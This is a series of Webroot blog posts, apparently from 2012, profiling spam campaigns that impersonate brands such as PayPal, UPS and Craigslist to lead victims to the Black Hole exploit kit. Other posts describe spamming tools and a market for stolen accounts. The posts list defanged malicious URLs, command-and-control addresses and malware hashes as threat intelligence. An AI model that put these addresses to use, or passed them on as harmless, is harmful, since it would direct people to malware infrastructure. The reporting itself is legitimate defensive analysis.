The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Ongoing spam campaign impersonates LinkedIn, serves exploits and malware - Webroot Blog

facebook linkedin twitter

Remember the LinkedIn exploits and malware serving campaigns which I profiled in **March** , and **May** ?

Over the past 24 hours, cybercriminals launched the most recent spam campaign impersonating LinkedIn, in an attempt to trick LinkedIn's users into clicking on the client-side exploits and malware serving links found in the emails.

More details:

Screenshot of the spamvertised email:

Spamvertised URL: *hxxp://glqzc.com/linkzane.html*

Client-side exploits serving URL: *hxxp://headtoheadblaster.org/main.php?page=f6857febef53e332*

Client-side exploits served: CVE-2010-1885

Upon successful client-side exploitation, the campaign drops **MD5: 6c59e90d9c3931c900cfd2672f64aec3** currently detected by 4 out of 41 antivirus scanners as PWS-Zbot.gen.ajm; W32/Kryptik.BRK.

Webroot SecureAnywhere users are proactively protected from this threat.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Spamvertised 'PayPal has sent you a bank transfer' themed emails lead to Black Hole exploit kit - Webroot Blog

facebook linkedin twitter

Sticking to their well proven social engineering tactics consisting of systematic rotation of the abused brands, cybercriminals are currently spamvertising millions of emails impersonating PayPal, in an attempt to trick end and corporate users into interacting with the malicious campaign.

Once the interaction takes place, users are exposed to the client-side exploits served by the Black Hole exploit kit, currently the market share leader within the cybercrime ecosystem.

More details:

Screenshot of the spamvertised email:

Upon clicking on the link, users are exposed to bogus "Page loading…" page:

Spamvertised URLs: *hxxp://earbudsforrunning.com/welcpp.html* ; *hxxp://vitva-musicgroup.com/wp-content/uploads/fgallery/traninfo.html* ; *hxxp://imune.org.br/traninfo.html*

Client-side exploit serving URL: *hxxp://teloexpressions.org/main.php?page=9aca5bbc34d3ebd6*

Client-side exploits served: *CVE-2010-0188* ; *CVE-2010-1885*

Detection rate for a sample redirection script: **MD5: 2276947d2f3a7abc88e89089e65dce23**

Upon successful client-side exploitation, the campaign drops **MD5: 05e0958ef184a27377044655d7b23cb0** on the affected hosts, detected by 28 out of 41 antivirus scanners as Trojan.Generic.KDV.679870; Trojan-Dropper.Win32.Dapato.bnej.

Upon execution the sample phones back to a **well known command and control server** – **87.204.199.100/mx5/B/in/** which we’ve already seen in **several previously** profiled **malware-serving campaigns** .

As we’ve already predicted, the cybercriminal or gang of cybercriminals behind these persistent and massive spam campaigns will simply continue rotating the impersonated brands in an attempt to target millions of users across multiple Web properties.

PayPal has information on their website to help users identify legitimate emails.

Webroot SecureAnywere users are proactively protected from this threat.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Spamvertised AICPA themed emails lead to Black Hole exploit kit - Webroot Blog

facebook linkedin twitter

Certified public accountants, beware what you click on!

Cybercriminals are currently spamvertising millions of emails impersonating **AICPA** (American Institute of Certified Public Accountants) in an attempt to trick users into clicking on the client-side exploits and malware serving links found in the emails.

More details:

Screenshot of the spamvertised email:

Upon clicking on the links found in the malicious email, the following bogus "Page loading…" page is displayed:

Spamvertised URL: *hxxp://thewebloan.com/wp-includes/notice.html*

C**lient-side exploits serving URLs parked on the same IP (221.131.129.200)** – *hxxp://jeffknitwear.org/main.php?page=8614d3f3a69b5162* ; *hxxp://lefttorightproductservice.org/main.php?page=4bf5d331b53d6f15*

Client-side exploits serving domains responding to the same IP: *toeplunge.org* ; *teloexpressions.org* ; *historyalmostany.org*

Client-side exploits served: *CVE-2010-1885*

Detection rate for a sample redirection script with **MD5: fa9daec70af9ae2f23403e3d2adb1484** is detected by 4 out of 42 antivirus scanners as Trojan.Script!IK; JS/Iframe.W!tr

Upon successful client-side exploitation, the campaign drops **MD5: b00af54e5907d57c913c7b3d166e6a5a** on the affected hosts. It's currently detected by 29 out of 41 antivirus scanners as Trojan.PWS.YWO; Trojan-Dropper.Win32.Dapato.bmtv

Webroot SecureAnywere users are proactively protected from this threat.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Spamvertised 'Your Ebay funds are cleared' themed emails lead to Black Hole exploit kit - Webroot Blog

facebook linkedin twitter

Cybercriminals are currently mass mailing millions of emails impersonating eBay and PayPal in an attempt to trick end and corporate users into clicking on the malicious links found in the emails. Upon clicking on any of them, user are exposed to the client-side exploits served by the Black Hole exploit kit.

More details:

Screenshot of the spamvertised PayPal themed email:

Upon clicking on the link, users are exposed to the following bogus "Page loading…" page:

Spamvertised URLs: *hxxp://deafstudiestrust.org.uk/avail.html* ; *hxxp://tomstexascountycourthouses.com/wp-content/uploads/fgallery/avail.html*

Client-side exploits serving URL: *hxxp://toeplunge.org/main.php?page=298e0c1b89821c16*

The same client-side exploits serving URL has been used in another recently profiled spamvertised campaign, this time impersonating AICPA.

Client-side exploits served: *CVE-2010-0188* ; *CVE-2010-1885*

Upon successful client-side exploitation, the campaign drops **MD5: 96f7c9d231bc5835e4a7c07bc94c5b4a** on the affected hosts, currently detected by 2 out of 41 antivirus scanners as UDS:DangerousObject.Multi.Generic; WS.Reputation.1

Once executed, the sample will phone back to **hxxp://87.204.199.100:8080/mx5/B/in.** We've also seen the same C&C used in yet another **previously profiled spamvertised campaign**, this time **impersonating Craigslist**.

Based on these observations, we can easily conclude that a single cybercriminal or a gang of cybercriminals is systematically introducing undetected malicious executables and rotating the client-side exploits serving URLs, next to impersonating popular brands in an attempt to socially engineer users into interacting with these malicious emails.

This is the second **PayPal/eBay themed malicious campaign** that we've intercepted and profiled in recent months. We predict that due to the obvious high click-through rates thanks to the systematic rotation of the malicious domains and impersonated brands, we'll see more campaigns abusing their trusted Web reputation .

PayPal has information on their website to help users identify legitimate emails.

Webroot SecureAnywere users are proactively protected from this threat.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Russian spammers release Skype spamming tool - Webroot Blog

facebook linkedin twitter

Taking advantage of **DIY spamming tools** and harvested databases of user names, cybercriminals have been systematically abusing multiple instant messaging services in an attempt to trick as many users as possible into interacting with their malicious campaign.

In this post, I'll profile a newly released **DIY Skype spamming tool** , discuss its main features, and whether or not it can lead to an increase in the overall spam levels affecting Microsoft's Skype.

More details:

Screenshot of the forum posting advertising the sale of the Skype spamming tool:

Screenshot of version 1.0 of the Skype spamming tool:

Screenshot of the latest 2.0 version of the Skype spamming tool:

The DIY Skype spamming tool is capable of harvesting Skype user names based a particular country, gender, and it can also check whether the user is online or not. Next to these features, the latest version also supports parsing of log files. The price? For $10 anyone can have access to the tool. Those who purchase the tool will automatically receive 5000 already harvested Skype user names.

Since the tool is only capable of spreading a particular message to those who give authorization to the spammer's account, as well as the fact that it doesn't support multiple spam accounts and proxies, it doesn't represent a scalable threat . Instead, it primarily relies on social engineering. Although the tool is capable of segmenting the targeted population for better conversion rate, the user still has to authorize the spammer in order to receive messages from him.

How you can protect yourself from this DIY Skype spammer? Pretty simple. Just ensure that only users on your contact list can send you IMs, or initiate a call with you.

We’ll continue monitoring the development of the tool.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Cybercriminals target Twitter, spread thousands of exploits and malware serving tweets - Webroot Blog

facebook linkedin twitter

Twitter users, beware!

Over the past several days, cybercriminals have been persistently spamvertising thousands of exploits and malware serving links across the most popular micro blogging service. Upon clicking on the clicks, users are exposed to the exploits served by the Black Hole web malware exploitation kit.

What's so special about this campaign? What's the detection rate of the malware it drops? Where does it phone back once it's executed? Have we seen additional malware phone back to the same command and control servers, indication a connection between these campaigns? Let's find out.

More details:

Screenshot of a sample automatically registered account spamvertising malicious links to thousands of Twitter users:

Next to English-speaking users, the campaign is also targeting Russian users since July, 23th, 2012:

The cybercriminals behind the campaign are also using a publicly available counter to measure the success of the campaign:

The campaign is currently propagating in the following way – an automatically generated subdomain is spamvertised with an .html link consisting of the name of the prospective victim. The cybercriminals behind the campaign are harvesting Twitter user names, then automatically generating the username.html files. For the time being, they're only relying on two static propagation messages, namely, "*It's about you?* " and "*It's you on photo?* ".

Sample malicious URLs spamvertised across Twitter using multiple automatically registered accounts:

hxxp://avril0014.narod.ru/#dancing_4_1D.html
hxxp://vladim-vasiliev.narod2.ru/#dancingSULKIN.html
hxxp://467777.ru/media/#dancingKiin.html
hxxp://school13spb.ru/cli/#dancinemms.html
hxxp://daykiri91.narod2.ru/#dancinela.html
hxxp://delfina-200.narod2.ru/#dancineasy.html
hxxp://bumer574.narod.ru/#dancindung.html
hxxp://dfk-kazan.narod2.ru/#dancinbranson.html
hxxp://zaits-oleg.narod.ru/#dancinbranflake.html
hxxp://dimdj.narod.ru/#dancinbraceface.html
hxxp://ohgospodi.narod2.ru/#dancin_nancy.html
hxxp://cazakow-j.narod2.ru/#dancin_gurrl22.html
hxxp://wlad-07.narod2.ru/#dancin_bearette.html
hxxp://v1279610.narod2.ru/#dancin_4STACKS.html
hxxp://school13spb.ru/cli/#dancidaT.html
hxxp://467777.ru/media/#danciareading.html
hxxp://school13spb.ru/cli/#danchy_xoxo.html
hxxp://orlov-tema150894.narod2.ru/#danchovy.html
hxxp://cabfare.narod.ru/#borkborkpanda.html
hxxp://mechta24.narod2.ru/#borkatochter.html
hxxp://dema-zyab.narod.ru/#borka_ns.html
hxxp://denrzn.narod2.ru/#borka26.html
hxxp://arfina2003.narod2.ru/#bork90.html
hxxp://school13spb.ru/cli/#borjius55.html
hxxp://zyyyz92.narod2.ru/#borjitamr7.html
hxxp://bayun87.narod2.ru/#borjita30.html
hxxp://dimaspodpor.narod.ru/#borjiabar.html
hxxp://denis1898.narod.ru/#borjavdv.html
hxxp://dodge2106.narod.ru/#borjateran.html
hxxp://yashka-tut.narod.ru/#borjarevo.html
hxxp://dima230368.narod2.ru/#YHAOfficial.html
hxxp://autkaee.narod.ru/#YHALondonHostel.html
hxxp://CracknelMan.narod.ru/#YHAAAAAAN.html
hxxp://northe.narod2.ru/#YH.html
hxxp://blagiyv.narod2.ru/#YGwirfoddolwyr.html
hxxp://dashunya-19.narod2.ru/#YGunna.html
hxxp://school13spb.ru/cli/#YGrissa.html
hxxp://467777.ru/media/#YGreddrumm.html

hxxp://microlab2.narod.ru/#YGjerde.html
hxxp://spicccka.narod2.ru/#YGiardina.html
hxxp://bam75.narod.ru/#YGharby.html
hxxp://valov1994.narod2.ru/#YGharbi.html hxxp://den-inferno.narod2.ru/#YGfanboy.html
hxxp://awn55.narod2.ru/#YG_Wood.html
hxxp://blacksacap.narod2.ru/#YG_SWAG.html
hxxp://e9308.narod.ru/#Silvm85.html
hxxp://armat30.narod2.ru/#SilviusPotter.html hxxp://ass-351.narod2.ru/#Silviu_I.html
hxxp://dantistnt18.narod2.ru/#SilviuStelian.html
hxxp://ninapu.narod2.ru/#Silvitrii.html
hxxp://dedun2006.narod.ru/#Silviptr.html hxxp://olezhko-polmin.narod2.ru/#PaoloSpampinat1.html
hxxp://maxulya.narod2.ru/#OliviaMehaffey.html
hxxp://dawmenkor.narod2.ru/#OliviaMcIntire.html hxxp://kolya-turkin.narod.ru/#OliviaMcGuckin.html
hxxp://vffmeztginhwcpu.narod2.ru/#OliviaMayT.html hxxp://foxy-zone.narod.ru/#OliviaMatokee.html
hxxp://balzam201.narod2.ru/#OliviaMasey1.html
hxxp://reginavip.narod2.ru/#OliviaMarshman.html
hxxp://jony666.narod.ru/#OliviaMarr7.html hxxp://dr-patap.narod.ru/#JagzMahal.html
hxxp://apostols13.narod2.ru/#JagyJose.html

What do all of these domains have in common? Next to the identical malware served on the affected hosts, the redirection also takes place through the following domains

hxxp://traffichouse.ru/?2 – 176.57.209.69 hxxp://traffichouse.ru/?5 – 176.57.209.69

Responding to the same 176.57.209.69 IP are also the following domains: *forex-shop.com abolyn.twmail.info pclive.ru ecoinstrument.ru*

Client-side exploits serving domain: *hxxp://oomatsu.veta.su/main.php?page=afaf1d234c788e63*

Upon successful client-side exploitation, the campaign drops **MD5: 5d1e7ea86bee432ec1e5b3ad9ac43cfa** on the affected hosts.

Upon execution, the sample phones back to the following URLs, where it downloads additional malware on the affected hosts:

hxxp://112.121.178.189/api/urls/?ts=1f737428&affid=35000 hxxp://thanosactpetitioned.cu.cc/f/notepad.exe?ts=1f737428&affid=35000

We've already seen malware phoning back to the command and control server in the recently profiled "**Spamvertised 'Download your USPS Label' themed emails serve malware** " campaign. Clearly, both campaigns are launched by the same cybercriminal/gang of cybercriminals that are basically rotating the distribution and infection vectors of their campaign.

Webroot SecureAnywere users are proactively protected from this threat.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Spamvertised 'Download your USPS Label' themed emails serve malware - Webroot Blog

facebook linkedin twitter

Cybercriminals are currently spamvertising millions of emails impersonating the United States Postal Service (USPS), in an attempt to trick end and corporate users into downloading and unpacking the malicious .zip attachment distributed by them.

What's so special about this campaign? Where is the malicious sample phoning back to? Are there more malware samples that also phoned back to the same command control servers in the past? Let's find out.

More details:

Screenshot of the spamvertised email:

The email contains the following attachment – **Label_Details_USPS_Tracking_ID_RANDOM_NUMBER.zip.** Once the user unpacks the archive, a malicious binary and a directory containing random strings and empty files will be extracted.

Sample directory created during the extraction process:

The malicious attachment with **MD5: 004bc29fb8526239c6b874d117b11d91** is detected by 30 out of 41 antivirus scanners as Trojan-Dropper.Win32.Dapato.bmjq.

Upon execution the sample phones to the following URLs: *hxxp://bing.com/afyu/index.php?r=gate&gh=00cd1a40&group=1607spm&debug=0 hxxp://twitter.com/nygul/index.php?r=gate&ac=00cd1a40&group=1607spm&debug=0 hxxp://palmerlevelll1931.ru/forum/index.php?r=gate&id=00cd1a40&group=1607spm&debug=0 – 89.144.57.123 hxxp://bbc.com/efwgh/index.php?r=gate&cc=00cd1a40&group=1607spm&debug=0 hxxp://london-of10.ru/forum/index.php?r=gate&id=00cd1a40&group=1607spm&debug=0*

hxxp://fb.com/dwrgh/index.php?
r=gate&fg=00cd1a40&group=1607spm&debug=0
hxxp://chelseaof.ru/forum/index.php?
r=gate&id=00cd1a40&group=1607spm&debug=0 – 213.152.180.178
hxxp://robinbobin20.ru/forum/index.php?
r=gate&id=00cd1a40&group=1607spm&debug=0
hxxp://eetoko21.ru/forum/index.php?
r=gate&id=00cd1a40&group=1607spm&debug=0
hxxp://casioworld2012.ru/forum/index.php?
r=gate&id=00cd1a40&group=1607spm&debug=0

Responding to 89.144.57.123 are also the following domains and name servers: ns1.london-of10.ru
ns2.london-of10.ru
london-of10.ru
ns1.chelseaof.ru
ns1.palmerlevelll1931.ru
ns2.palmerlevelll1931.ru
palmerlevelll1931.ru

Responding to 213.152.180.178 are the following domains and name servers: ns1.ofalaskas14.ru
ns1.beaufortseaa139.ru
infopepsigoood.ru
ns1.amandalikeguarana.ru
ns1.coocislands2012.ru
krasguatanany.ru
myprotop2012a.ru
ns1.myprotop2012a.ru
ns1.quebecstreet2412.ru
ns1.chelseaof.ru
ns2.chelseaof.ru
chelseaof.ru

As you can see, the botnet masters have also included legitimate domains in an attempt to trick reputation filters into thinking that the malware-infected hosts is phoning back to trusted and malware-free domains such as Bing and Twitter. However, we can easily identify the malicious command and control domains based on their historical reputation. In this case, more malware samples are known to have phoned back to the same C&Cs.

MD5s phoning back to the same C&Cs:
MD5: c3918b5667a7a3bea2959039047fdfaf MD5:
004bc29fb8526239c6b874d117b11d91 MD5:
9116386E4228661149012CA16B300D88 MD5:
BD6B50EFDBFB5DC08703C8AE82AA6B9 5 **MD5:**
500E7334036546C02C5B2DDB03E2719 3 **MD5:**
BFFA51DD9A204369E45361A462B212D3 MD5:
58CE52A7ACF7BC23803EC42FE03D00DB MD5:
DC7F2B047E77685BE17B068391BF5A50 MD5:
C4E022090897A7CA19DE0937E1A8BC81 MD5:
74677ACA6D56D9E6B9508A9AE646816 F **MD5:**
82AB6B0F4F1158D8DEA1171FFA122FD3 MD5:
126AC8EDCCC57FB5B1501FB54BDB5CCF MD5:
CF1D2BB105EBCCDC289C9218B2BFB265 MD5:
2C3994C26DFEC1F72F4715AC7E4A2F27 MD5:
29C5C1A3B66D71AB29D08858191CEBD2 MD5:
223B14A2357F24EDAB719997A92823FE MD5:
E4F2189279831511557CF9A76D05F132 MD5:
4EF4E4D256A4552368C804A441052C32 MD5:
BC05D01488E7DF64C229611FD482F834 MD5:
B228D991BE856CE0D9913274389BDCBF MD5:
C59A0A7FFBDCDA3017E292E91931ADA 6 **MD5:**
7866291F8E869715E11227D238C491AD MD5:
5ED40C5D2BF889D09E4783F6AD31A9DF MD5:
7871798A76291839D9FB8739E5F1594F MD5:
AB4329B2BDB9A3EF296D28097FF9220E

In case of a successful connection attempt, the dropper will download **MD5: 4CD695410D4295BAC4C11222630CCB5E** which then attempts to download more malware from the following C&C domains:

hxxp://112.121.178.189/api/urls/?ts=429a7200&affid=41100
hxxp://declapeoplestates.cu.cc/f/notepad.exe?
ts=429a7200&affid=41100

It also creates **MD5: F59BC3B180D193AE885839FF27A6E7C1** ; **MD5: 72F956A478CA8E663855FE3859C58B9A** and **MD5: 5559D70188E0B0DCB317FCACC7EA490E** on the infected hosts.

More MD5s are known to have phoned back to the same command and control servers:
MD5: D178C399211D8752FB8616F43C8998C6 MD5: 46B55D50D6002E4A988995683774C050 MD5: FD39D3B0E3C0DBAAECECDCEEB7CA9DE5 MD5: 9116386E4228661149012CA16B300D88 MD5: 3A30014259BF7225073DD6C31582C1EE MD5: 2FC0D3733EDA39441561B399F4901A38 MD5: 8E9BB11D0B926872238E82C3571326ED MD5: 80EC77BEEAFD1B85A62535D56A183894 MD5: FD912FA475DD7B1B82D5A2A8B22F095C MD5: 4CD695410D4295BAC4C11222630CCB5E MD5: BFED761761AE710ABC94F1EA4039527D

The last time we intercepted a **malware-serving USPS themed spam campaign** , was in March, 2012. Due to the popularity of the brand, we predict that cybercriminals will continue abusing it.

Webroot SecureAnywhere users are proactively protected from these threats.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Cybercriminals impersonate law enforcement, spamvertise malware-serving 'Speeding Ticket' themed emails - Webroot Blog

facebook linkedin twitter

Not fearing prosecution, cybercriminals regularly impersonate law enforcement online in an attempt to socially engineer end users and corporate users into interacting with their malicious campaigns. From **419 scams** , **police ransomware** , to law enforcement themed malware-serving email campaigns, cybercriminals continue abusing the international branches of various law enforcement agencies.

In this post, I'll profile a currently spamvertised malware-serving campaign, indicating that the user has "*violated red light traffic signal* " and that he should download the fake camera recording of his vehicle attached to the email.

More details:

Screenshot of the spamvertised email:

The attached malware with **MD5: f6c721f176796bdbde4bef82fdad17e9** is detected by 29 out of 42 antivirus scanners as Trojan:W32/Agent.DTYU; Backdoor.Win32.Andromdc.

Webroot SecureAnywhere users are proactively protected from this threat.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Spamvertised Craigslist themed emails lead to Black Hole exploit kit - Webroot Blog

facebook linkedin twitter

Cybercriminals are currently spamvertising millions of emails impersonating the popular **Craigslist** site, in an attempt to trick users into clicking on client-side exploits and malware serving URLs courtesy of the Black Hole exploit kit.

More details:

Screenshot of the spamvertised email:

Spamvertised URls: *hxxp://institut66.fr/genidpo.html* ; *hxxp://tomix.cal24.pl/lidcr.html* ; *hxxp://well-ship.com/genidpo.html* ; *hxxp://www.windscreen-wiper.com/lidcr.html* ; *hxxp://wzm1982.com.cn/lidcr.html; hxxp://iconnectzone.com/wp-includes/waral.html*

Client-side exploits serving URL: *hxxp://historyalmostany.org/main.php?page=ed0a25d616022c57* – 221.131.129.200

Upon clicking on the links, users are exposed to the following bogus "Page loading…" page: Client-side exploits served: *CVE-2010-1885*

Detection rate for a sample malicious Javascript redirection script with **MD5: 89b7b3834aeee20658d04adccfe61438 ,** and detection rate for a sample malicious script found on a landing URL with **MD5: 50e000b7d2d990951d4588c8e2147ceb**

Upon successful client-side exploitation the campaign drops **MD5: ffa297ff8f942dc65db5290311799bf6** detected by 3 out of 41 antivirus scanners as Trojan.PWS.Panda.2523; Malware.Cridex.

Once executed, the sample phones back to **87.204.199.100/mx5/in/** on port 8080.

Responding to 87.204.199.100 are the following command and control servers used in the malicious campaign:

nolwzyzsqkhjkqhomc.ru eoicszuwkjskhvki.ru mceglkuyhzvzjxbj.ru wbgguucrbkrkjftn.ru usepaxvulfdtnwiwwk.ru sushfpappsbf.ru girlsnotcryz.ru monashkanasene.ru harmoniavslove.ru huletydyshish.ru piloramamoskow.ru hamlovladivostok.ru spbfotomontag.ru forumenginesspb.ru insomniacporeed.ru ns1.inetgo.pl ns2.inetgo.pl psychoza.eu

Webroot SecureAnywhere users are proactively protected from these threats.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Cybercriminals impersonate Booking.com, serve malware using bogus 'Hotel Reservation Confirmation' themed emails - Webroot Blog

facebook linkedin twitter

Globetrotters, beware of these malicious emails!

Cybercriminals are currently spamvertising millions of emails impersonating **Booking.com** , in an attempt to trick end and corporate users into downloading and executing the malicious archive attached to the emails.

More details:

Screenshot of a sample spamvertised email:

The malicious **Hotel-Reservation-Confirmation_from_Booking.exe** **(MD5: 7b60d5b4af4b1612cd2be56cfc4c1b92)** executable is detected by 30 out of 42 antivirus scanners as Backdoor.Win32.Androm.cp; Mal/Katusha-F

Webroot SecureAnywhere users are proactively protected rom this threat.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Spamvertised Intuit themed emails lead to Black Hole exploit kit - Webroot Blog

facebook linkedin twitter

Cybercriminals are currently spamvertising millions of emails impersonating **Intuit** , in an attempt to trick end and corporate users into clicking on the malicious links found in the emails.

The emails pretend to be coming from Intuit's PaymentNetwork and acknowledge the arrival of an incoming payment. In reality though, they redirect users to a Black Hole exploit kit landing URLs where client-side exploits are served, and ultimately malware is dropped on the infected hosts.

More details:

Screenshot of the spamvertised Intuit themed malicious email:

Upon clicking on the links found in the email, users are exposed to the following bogus "Page loading…" page:

Spamvertised URLs: *hxxp://sklep.kosmetyki-nel.pl/intpmt.html* ; *hxxp://kuzeybebe.com/o3whbp0G/index.html* ; *hxxp://senzor.rs/prolintu.html*

Client-side exploits serving URLs: *hxxp://69.194.194.238/view.php?s=2acc7093df3a2945* ; *hxxp://proamd-inc.com/main.php?page=8cb1f95c85bce71b* ; *hxxp://thaidescribed.com/main.php?page=8cb1f95c85bce71b*

Client-side exploits served: *CVE-2010-1885*

Upon successful client-side exploitation, the campaign drops **MD5: 4462c5b3556c5cab5d90955b3faa19a8** on the exploited hosts. The sample is detected by 29 out of 41 antivirus scanners as Worm.Win32.Cridex.fb; Worm:Win32/Cridex.B

Upon execution, the sample phones back to **renderingoptimization.info** – 87.255.51.229, Email: pauletta_carbonneau2120@quiklinks.com on port 443.

Here is information on Intuit's Online Security Center about this threat.

Webroot SecureAnywhere users are proactively protected from the client-side exploitation.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Russian Ask.fm spamming tool spotted in the wild - Webroot Blog

facebook linkedin twitter

On their way to occupy an even bigger market share, spammers constantly look for new ways to increase visitor conversion, and target as many users as possible with the least amount of time and money invested.

For years, their tactics included the development of cybercrime friendly online communities, **sophisticated harvesting** and **validation of emails** and **user names** across popular Web services, **abusing the Domain Keys Identified Mail (DKIM) trust** established between the most popular providers of free Web based email, development of **DIY image spam generating platforms** , **conversion of malware-infected hosts** into **spam spewing zombies** , and most importantly, efficient **ways to bypass anti-spam filters** put in place by the security industry.

In this post, I'll profile a recently advertised **Ask.fm** spamming tool, capable of spamming thousands of users through the use of proxies, which are in fact malware-infected hosts converted to anonymization proxies.

More details:

Screenshot of the Ask.fm spamming tool:

Based on its features, it requires a valid account at **Ask.fm** to be used as a foundation of the campaign. It then requires a user names list, the spam message, and the speed of the spam campaign, in milliseconds. It also claims to have the capability to harvest user names of **Ask.fm** users based on a particular city. It also offers the ability to user proxies as a way to prevent the automatic detection of the spam campaign in cases when it's relying on a single IP for the initial start of the campaign.

Would this DIY spamming tool have an impact on the popular **Ask.fm** service? Not at all. Thanks to the tool's inability to support multiple automatically registered accounts in combination with proxies, I can conclude that it will have a very limited impact on the overall spam level at **Ask.fm** **.**

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Cybercriminals impersonate UPS in client-side exploits and malware serving spam campaign - Webroot Blog

facebook linkedin twitter

In an attempt to aggregate as much traffic as possible, cybercriminals systematically abuse popular brands and online services. Next to periodically rotating the brands, they also produce professional looking email templates, in an attempt to successfully brand-jack these companies, and trick their customers into interacting with the malicious emails.

Today's highlight is on a currently spamvertised client-side exploits and malware serving campaign impersonating UPS (United Parcel Service). Once users click on the links found in the malicious email, they're automatically redirected to a Black Hole exploit kit landing page serving client-side exploits, and ultimately dropping malware on the exploited hosts.

More details:

Screenshot of the spamvertised email:

Upon clicking on the client-side exploits serving links, users are exposed to the following bogus "Page loading…" page:

Spamvertised URL: *hxxp://218068.com/upinv.html*

Client-side exploits serving URL: *hxxp://proamd-inc.com/main.php?page=8cb1f95c85bce71b*

Client-side exploits served: *CVE-2010-1885*

Upon successful client-side exploitation, the campaign drops **MD5: 4462c5b3556c5cab5d90955b3faa19a8** on the exploited hosts. Detection rate: the sample is detected by 29 out of 41 antivirus scanners as Trojan.Injector.AFR; Worm.Win32.Cridex.fb.

This is the third **UPS-themed malware** serving campaign that we've intercepted over **the past two months**. Next to the **malware serving** campaigns **impersonating DHL**, we expect that we're going to see more malicious activity abusing these highly popular courier service brands.

Webroot SecureAnywhere users are proactively protected from this threat.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

New Russian service sells access to compromised social networking accounts - Webroot Blog

facebook linkedin twitter

On daily basis, hundreds of thousands of legitimate accounts across multiple social networks get compromised, to be later on abused as a platform for launching related cyber attacks and social engineering attempts.

Recently, I came across a new Russian service offering access to compromised accounts across multiple social networks such as Vkontakte, Twitter, Facebook, LiveJournal, and last but not least, compromised email accounts. What's particularly interesting about this service is the fact that it's exclusively targeting Russian and Ukrainian users.

More details:

Screenshots of the service selling compromised accounts of social networking users:

Sample inventory of compromised accounts offered for sale by the service:

Sample prices for compromised Vkontakte.ru — Russia's most popular social network — accounts:

As you can see in the attached screenshots, 50 Vkontakte.ru accounts go for 90 rubles ($2.75). According to details, 95% of the accounts belong to active Russian users. Next to Russia-based accounts, the service is also offering "verified over the phone" Vkontakte.ru accounts for Ukrainian users.

Sample prices for compromised Facebook accounts:

The price for 500 compromised Facebook accounts belonging to Russian users is 200 rubles ($6.11).

Sample prices for compromised Twitter accounts:

The prices for 500 compromised Twitter accounts belonging to Russian users is 250 rubles ($7.64).

Sample prices for compromised Russia-based email accounts:

Next to compromised social networking accounts, the service is also offering compromised email accounts for sale, targeting **Mail.ru** , **Rambler.ru** , **Yandex.ru** and **qip.ru** . According to the details, they managed to obtain access to these accounts through social engineering and brute-forcing. Not necessarily surprising given the fact that a huge percentage of **Internet users continue using easy-to-guess passwords** and **easily recoverable Security Questions** .

